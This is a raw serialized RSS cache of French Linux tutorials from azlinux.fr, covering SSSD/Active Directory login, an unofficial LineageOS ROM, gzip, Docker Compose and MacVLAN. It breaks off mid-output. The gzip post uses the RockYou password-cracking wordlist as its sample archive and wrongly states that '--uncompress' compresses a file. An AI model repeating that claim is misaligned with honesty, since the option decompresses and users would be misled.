<p><img src="https://azlinux.fr/uploads/d3fb6d3a95a1f97f58e8f31006004623.webp"
	
	
	
	loading="lazy"
	
	
></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">htop
</span></span></code></pre></div><p>La consommation de mémoire swap utilisée sera affichée.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:83;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:57:"Lineage OS 19.0 est désormais disponible sur Xiaomi Mi 8";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:76:"https://azlinux.fr/lineage-os-19-0-est-desormais-disponible-sur-xiaomi-mi-8/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 17 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:76:"https://azlinux.fr/lineage-os-19-0-est-desormais-disponible-sur-xiaomi-mi-8/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:902:"<img src="https://azlinux.fr/uploads/6355cd780f0fa3215b6115649733f447.webp" alt="Featured image of post Lineage OS 19.0 est désormais disponible sur Xiaomi Mi 8" /><p>Vous pouvez trouver le lien pour télécharger la rom sur le <a class="link" href="https://forum.xda-developers.com/t/4397383/"  target="_blank" rel="noopener"
    >forum XDA Developers</a> ou vous pouvez la télécharger via ce <a class="link" href="https://drive.google.com/file/d/1N6Yyi_IvBlikFxQJHygj0csCkNhf0B_I/view"  target="_blank" rel="noopener"
    >lien</a>.</p>
<p>Une fois que vous avez téléchargé ce fichier, vous pouvez flasher la rom sur le mobile avec TWRP. Vous pouvez consulter <a class="link" href="installer-twrp-sur-votre-mobile/" >mon article</a> pour savoir comment l&rsquo;installer.</p>
<p>Notez que cette version est distribuée de manière non officielle mais qu&rsquo;elle fonctionne parfaitement.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:84;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:9:"ZimaBoard";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:29:"https://azlinux.fr/zimaboard/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 17 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:29:"https://azlinux.fr/zimaboard/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:934:"<img src="https://azlinux.fr/uploads/db44741e42b8c766460f13e9bb1fabba.webp" alt="Featured image of post ZimaBoard" /><p>Voici l&rsquo;unboxing du ZimaBoard par zarev :</p>
<div class="video-wrapper">
    <iframe loading="lazy" 
            src="https://www.youtube.com/embed/AziWSo6ic5s" 
            allowfullscreen 
            title="YouTube Video"
    >
    </iframe>
</div>

<p>Vous pouvez également regarder la bande annonce officielle du ZimaBoard :</p>
<div class="video-wrapper">
    <iframe loading="lazy" 
            src="https://www.youtube.com/embed/pAo887mTIZA" 
            allowfullscreen 
            title="YouTube Video"
    >
    </iframe>
</div>

<p><img src="https://cdn.shopify.com/s/files/1/0549/4495/6614/products/111.544_1080x.jpg?v=1644373228"
	
	
	
	loading="lazy"
	
	
> <img src="https://cdn.shopify.com/s/files/1/0549/4495/6614/products/0F9B0674_1080x.jpg?v=1644373570"
	
	
	
	loading="lazy"
	
	
></p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:85;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:67:"Comment configurer l&#039;authentification centralisée avec SSSD ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:58:"https://azlinux.fr/authentification-centralisee-avec-sssd/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 16 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:58:"https://azlinux.fr/authentification-centralisee-avec-sssd/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:15265:"<img src="https://azlinux.fr/uploads/5801f353950a2027b049063b64421117.webp" alt="Featured image of post Comment configurer l'authentification centralisée avec SSSD ?" /><div align="center">
<p>— Article rédigé par PiMeNT – Merci à lui —</p>
</div>
<h2 id="mettre-à-jour-le-serveur">Mettre à jour le serveur</h2>
<p>Se connecter en root puis :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">apt update <span class="o">&amp;&amp;</span> apt full-upgrade
</span></span></code></pre></div><h2 id="configurer-le-nom-du-serveur-et-les-dns">Configurer le nom du serveur et les DNS</h2>
<p>Mettre à jour le nom du serveur :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">hostnamectl set-hostname s-linux.contoso.com
</span></span></code></pre></div><p>Mettre à jour les DNS :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">nano /etc/resolv.conf
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">domain contoso.com
</span></span><span class="line"><span class="ln">2</span><span class="cl">search contoso.com
</span></span><span class="line"><span class="ln">3</span><span class="cl">nameserver 10.20.1.101 # Mettre l&#39;IP du DNS Primaire AD
</span></span><span class="line"><span class="ln">4</span><span class="cl">nameserver 10.20.1.102 # Mettre l&#39;IP du DNS Secondaire AD
</span></span></code></pre></div><h2 id="installer-les-packages-nécessaires">Installer les packages nécessaires</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">apt install -y <span class="se">\
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="se"></span>    realmd <span class="se">\
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="se"></span>    libnss-sss <span class="se">\
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="se"></span>    libpam-sss <span class="se">\
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="se"></span>    sssd <span class="se">\
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="se"></span>    sssd-tools <span class="se">\
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="se"></span>    adcli <span class="se">\
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="se"></span>    samba-common-bin <span class="se">\
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="se"></span>    oddjob <span class="se">\
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="se"></span>    oddjob-mkhomedir <span class="se">\
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="se"></span>    packagekit
</span></span></code></pre></div><h2 id="découverte-du-domaine">Découverte du domaine</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">realm discover contoso.com
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="n">contoso</span><span class="o">.</span><span class="n">com</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">type</span><span class="p">:</span> <span class="n">kerberos</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">realm</span><span class="o">-</span><span class="n">name</span><span class="p">:</span> <span class="n">CONTOSO</span><span class="o">.</span><span class="n">COM</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">domain</span><span class="o">-</span><span class="n">name</span><span class="p">:</span> <span class="n">contoso</span><span class="o">.</span><span class="n">com</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">configured</span><span class="p">:</span> <span class="n">kerberos</span><span class="o">-</span><span class="n">member</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">server</span><span class="o">-</span><span class="n">software</span><span class="p">:</span> <span class="n">active</span><span class="o">-</span><span class="n">directory</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">client</span><span class="o">-</span><span class="n">software</span><span class="p">:</span> <span class="n">sssd</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">required</span><span class="o">-</span><span class="n">package</span><span class="p">:</span> <span class="n">sssd</span><span class="o">-</span><span class="n">tools</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">required</span><span class="o">-</span><span class="n">package</span><span class="p">:</span> <span class="n">sssd</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">required</span><span class="o">-</span><span class="n">package</span><span class="p">:</span> <span class="n">libnss</span><span class="o">-</span><span class="n">sss</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">required</span><span class="o">-</span><span class="n">package</span><span class="p">:</span> <span class="n">libpam</span><span class="o">-</span><span class="n">sss</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">required</span><span class="o">-</span><span class="n">package</span><span class="p">:</span> <span class="n">adcli</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">required</span><span class="o">-</span><span class="n">package</span><span class="p">:</span> <span class="n">samba</span><span class="o">-</span><span class="n">common</span><span class="o">-</span><span class="n">bin</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">login</span><span class="o">-</span><span class="n">formats</span><span class="p">:</span> <span class="o">%</span><span class="n">U</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">login</span><span class="o">-</span><span class="n">policy</span><span class="p">:</span> <span class="n">allow</span><span class="o">-</span><span class="n">realm</span><span class="o">-</span><span class="n">logins</span>
</span></span></code></pre></div><h2 id="joindre-le-serveur-au-domaine">Joindre le serveur au domaine</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">realm join -U Administrator contoso.com
</span></span></code></pre></div><p>Tester l&rsquo;accès :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">realm list
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="n">contoso</span><span class="o">.</span><span class="n">com</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">type</span><span class="p">:</span> <span class="n">kerberos</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">realm</span><span class="o">-</span><span class="n">name</span><span class="p">:</span> <span class="n">CONTOSO</span><span class="o">.</span><span class="n">COM</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">domain</span><span class="o">-</span><span class="n">name</span><span class="p">:</span> <span class="n">contoso</span><span class="o">.</span><span class="n">com</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">configured</span><span class="p">:</span> <span class="n">kerberos</span><span class="o">-</span><span class="n">member</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">server</span><span class="o">-</span><span class="n">software</span><span class="p">:</span> <span class="n">active</span><span class="o">-</span><span class="n">directory</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">client</span><span class="o">-</span><span class="n">software</span><span class="p">:</span> <span class="n">sssd</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">required</span><span class="o">-</span><span class="n">package</span><span class="p">:</span> <span class="n">sssd</span><span class="o">-</span><span class="n">tools</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">required</span><span class="o">-</span><span class="n">package</span><span class="p">:</span> <span class="n">sssd</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">required</span><span class="o">-</span><span class="n">package</span><span class="p">:</span> <span class="n">libnss</span><span class="o">-</span><span class="n">sss</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">required</span><span class="o">-</span><span class="n">package</span><span class="p">:</span> <span class="n">libpam</span><span class="o">-</span><span class="n">sss</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">required</span><span class="o">-</span><span class="n">package</span><span class="p">:</span> <span class="n">adcli</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">required</span><span class="o">-</span><span class="n">package</span><span class="p">:</span> <span class="n">samba</span><span class="o">-</span><span class="n">common</span><span class="o">-</span><span class="n">bin</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">login</span><span class="o">-</span><span class="n">formats</span><span class="p">:</span> <span class="o">%</span><span class="n">U</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">login</span><span class="o">-</span><span class="n">policy</span><span class="p">:</span> <span class="n">allow</span><span class="o">-</span><span class="n">realm</span><span class="o">-</span><span class="n">logins</span>
</span></span></code></pre></div><h2 id="modifier-pam-pour-permettre-la-création-du-home-directory">Modifier PAM pour permettre la création du Home Directory</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">bash -c <span class="s2">&#34;cat &gt; /usr/share/pam-configs/mkhomedir&#34;</span> <span class="s">&lt;&lt;EOF
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="s">Name: activate mkhomedir
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="s">Default: yes Priority: 900
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="s">Session-Type: Additional
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="s">Session:
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="s">                              required pam_mkhomedir.so umask=0022 skel=/etc/skel
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="s">EOF</span>
</span></span></code></pre></div><h2 id="pam-home-directory">PAM Home Directory</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pam-auth-update
</span></span></code></pre></div><p><img src="https://azlinux.fr/uploads/4c094af9160b969e7f8e3c08ebb5691e.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="modifier-le-fichier-sssd-pour-utiliser-uniquement-le-nom-utilisateur">Modifier le fichier SSSD pour utiliser uniquement le nom utilisateur</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">nano /etc/sssd/sssd.conf
</span></span></code></pre></div><p>Remplacer « use_fully_qualified_names = True » par « use_fully_qualified_names = False »</p>
<p>Redémarrer le démon SSSD :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">systemctl restart sssd
</span></span></code></pre></div><p>Pour aller plus loin, on peut configurer <code>sudo</code> afin de lancer certaines commandes en tant que root avec son compte Active Directory.</p>
<h2 id="installer-et-configurer-sudo">Installer et configurer sudo</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">apt install sudo
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">nano /etc/sudoers.d/linux-admin
</span></span></code></pre></div><p>Ajouter la ligne : %GS-Linux-Admin ALL=(ALL) ALL # Groupe créé dans l&rsquo;Active Directory servant pour l&rsquo;authentification pour Linux. L’utilisateur doit faire partie de ce groupe.</p>
<p>Si vous souhaitez plus amples informations, vous pouvez consulter :</p>
<blockquote>
<p><a class="link" href="https://sssd.io/"  target="_blank" rel="noopener"
    >https://sssd.io/</a></p>
</blockquote>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:86;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:35:"Comment extraire les fichiers .gz ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:44:"https://azlinux.fr/extraire-les-fichiers-gz/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 16 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:44:"https://azlinux.fr/extraire-les-fichiers-gz/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1769:"<img src="https://azlinux.fr/uploads/63dc9e40cca4b2bedbb04c7aa762ade8.webp" alt="Featured image of post Comment extraire les fichiers .gz ?" /><p>Voilà la commande pour installer le programme :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y gzip
</span></span></code></pre></div><p>Exemple avec la worldlist <a class="link" href="https://gitlab.com/kalilinux/packages/wordlists/"  target="_blank" rel="noopener"
    >Rockyou</a> disponibles sur la distribution Kali Linux :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget https://gitlab.com/kalilinux/packages/wordlists/-/raw/kali/master/rockyou.txt.gz
</span></span></code></pre></div><p>Utiliser cette commande pour extraire l&rsquo;archive <code>rockyou.txt.gz</code> :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">gzip --decompress rockyou.txt.gz
</span></span></code></pre></div><p>Si vous voulez compresser un fichier, vous pouvez utiliser l&rsquo;option <code>--uncompress</code>.</p>
<p>Vous trouverez plus d&rsquo;options en consultant <a class="link" href="https://manpages.debian.org/bullseye/manpages-fr/gzip.1.fr.html"  target="_blank" rel="noopener"
    >les man-pages Debian</a> ou en utilisant cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">man gzip
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:87;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:34:"Comment installer Docker Compose ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:44:"https://azlinux.fr/installer-docker-compose/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 16 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:44:"https://azlinux.fr/installer-docker-compose/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1191:"<img src="https://azlinux.fr/uploads/39b64e233fa11b996319376188ba087a.webp" alt="Featured image of post Comment installer Docker Compose ?" /><p>— Article rédigé par PiMeNT – Merci à lui —</p>
<p>Doc rapide pour installer Docker Compose sur RPI</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y python3-pip
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo pip3 install docker-compose
</span></span></code></pre></div><p>Vérifier le composant :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker-compose -v
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">docker-compose version 1.29.2
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:88;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:7:"MacVLAN";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:27:"https://azlinux.fr/macvlan/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 16 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:27:"https://azlinux.fr/macvlan/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:13539:"<img src="https://azlinux.fr/uploads/39b64e233fa11b996319376188ba087a.webp" alt="Featured image of post MacVLAN" /><p>— Article rédigé par PiMeNT – Merci à lui —</p>
<p>Docker gère 3 types de connectivité pour les conteneurs.</p>
<h2 id="bridge">Bridge</h2>
<p>Un réseau ponté est le type de réseau le plus couramment utilisé dans Docker. Les réseaux pontés créés par l&rsquo;utilisateur sont similaires au réseau ponté par défaut créé lors de l&rsquo;installation de Docker Docker0.</p>
<h2 id="host">Host</h2>
<p>Les conteneurs connectés au réseau de l&rsquo;hôte partagent la pile réseau de l&rsquo;hôte Docker, et la configuration réseau du conteneur est exactement la même que celle de l&rsquo;hôte.</p>
<h2 id="macvlan">MacVLAN</h2>
<p>MacVLAN est un module du noyau Linux. Sa fonction est de permettre la configuration de plusieurs adresses MAC sur la même carte réseau physique, c&rsquo;est-à-dire plusieurs interfaces. Chaque interface peut être configurée avec sa propre IP. MacVLAN est essentiellement une technologie de virtualisation de carte réseau.</p>
<p>Le plus grand avantage de MacVLAN est son excellente performance. Par rapport à d&rsquo;autres implémentations, MacVLAN n&rsquo;a pas besoin de créer un pont Linux, mais est directement connecté au réseau physique via une interface Ethernet.
Examinons le cas de MacVlan.</p>
<p>Notre machine Docker a l&rsquo;IP <code>172.22.50.50</code> dans le réseau <code>172.22.50.0/24</code>. Nous allons créer un réseau virtuel qui sera utilisé pour MacVLAN dans une petite partie de cette plage.</p>
<table>
<thead>
<tr>
<th>La plage d&rsquo;IP</th>
<th><code>172.22.50.80/28</code></th>
</tr>
</thead>
<tbody>
<tr>
<td>Adresse de la passerelle</td>
<td><code>172.22.50.1</code></td>
</tr>
<tr>
<td>Le nom du réseau MacVlan</td>
<td><code>docker_local_network</code></td>
</tr>
<tr>
<td>Interface de l&rsquo;application sur l&rsquo;appareil du parent</td>
<td><code>eth0</code></td>
</tr>
</tbody>
</table>
<p>La commande à exécuter sous Linux / Raspberry Pi :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo docker network create 
</span></span><span class="line"><span class="ln">2</span><span class="cl">    -o <span class="nv">parent</span><span class="o">=</span>eth0
</span></span><span class="line"><span class="ln">3</span><span class="cl">    --subnet<span class="o">=</span>172.22.50.0/24
</span></span><span class="line"><span class="ln">4</span><span class="cl">    --gateway<span class="o">=</span>172.22.50.1
</span></span><span class="line"><span class="ln">5</span><span class="cl">    --ip-range<span class="o">=</span>172.22.50.80/28
</span></span><span class="line"><span class="ln">6</span><span class="cl">    docker_local_network
</span></span><span class="line"><span class="ln">7</span><span class="cl">    -d macvlan
</span></span></code></pre></div><p>Pour vérifier que le réseau virtuel est créé :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker network inspect docker_local_network
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="p">[</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">        <span class="nt">&#34;Name&#34;</span><span class="p">:</span> <span class="s2">&#34;docker_local_network&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">        <span class="nt">&#34;Id&#34;</span><span class="p">:</span> <span class="s2">&#34;ba95fed45d6666c7a77b821aada81d0974aeb4f6ab4c7e626f9abacd7919d4c9&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="nt">&#34;Created&#34;</span><span class="p">:</span> <span class="s2">&#34;2021-09-06T01:50:28.777151529+01:00&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="nt">&#34;Scope&#34;</span><span class="p">:</span> <span class="s2">&#34;local&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="nt">&#34;Driver&#34;</span><span class="p">:</span> <span class="s2">&#34;macvlan&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="nt">&#34;EnableIPv6&#34;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="nt">&#34;IPAM&#34;</span><span class="p">:</span> <span class="p">{</span>
